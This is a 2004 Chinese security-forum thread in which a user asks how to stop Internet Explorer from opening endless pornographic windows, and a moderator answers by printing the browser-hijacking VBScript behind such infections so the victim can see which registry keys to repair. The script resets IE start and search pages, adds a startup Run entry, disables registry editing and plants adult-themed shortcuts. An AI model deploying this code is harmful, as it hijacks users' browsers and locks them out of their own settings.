20CN网络安全小组论坛 - 病毒专区 - 点机IE弹出无限黄色窗口会解决的朋友进来帮我一下（救急）

论坛: 病毒专区标题: 点机IE弹出无限黄色窗口会解决的朋友进来帮我一下（救急）

复制本贴地址

作者: kof2005 [kof2005]

论坛用户

朋友机器因使用问题
点机IE弹出无限黄色窗口会的告诉我好吗
QQ：23906156
或发在下面也行谢了

地主发表时间: 04-06-14 14:20

回复: kailangq [kailangq]

版主

总体来说,修改IE的恶意代码都是这样的，你看着下面的代码,打开注册表改改

<script LANGUAGE="VBScript">
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\default_page_url", "Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url1","Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url2","Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url3","Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page","Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Second Home Page","Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage","1","REG_DWORD"
bugs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IEXPLORE.EXE", "IEXPLORE.EXE Http://go.hy256.com/go"
bugs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "娱乐在线 00169.net"
on error resume next
Call LongFei_AddFavorites("-【火辣成人视频】","Http://go.hy256.com/go")
Call LongFei_AddFavorites("【激情音乐】","Http://go.hy256.com/go")
Call LongFei_AddFavorites("-【美女写真】","Http://go.hy256.com/go")
Call LongFei_AddFavorites("【外挂破解】","Http://go.hy256.com/go")
on error resume next
Call LongFei_AddDesktop("激情音乐网","Http://go.hy256.com/go")
on error resume next
Call LongFei_AddQuickLaunch("[激情音乐]","Http://go.hy256.com/go")
Function LongFei_AddFavorites(N, U)
on error resume next
Set S = bugs.CreateShortcut(bugs.SpecialFolders("Favorites") + "/" + N +".URL")
S.TargetPath = U
S.Save()
Set Sl = bugs.CreateShortcut(bugs.SpecialFolders("Favorites") + "/链接/" + N +".URL")
Sl.TargetPath = U
Sl.Save()
End Function

Function LongFei_AddDesktop(N, U)
on error resume next
Set S = bugs.CreateShortcut(bugs.SpecialFolders("AllUsersDesktop") + "/" + N +".URL")
S.TargetPath = U
S.Save()
End Function
</script>
<script language="JScript.Encode">
function closeit() {
setTimeout("self.close()",5)
}
closeit()
</script>
</html>

[此贴被阿Q(kailangq) 在 06月14日14时41分编辑过]

B1层发表时间: 04-06-14 14:41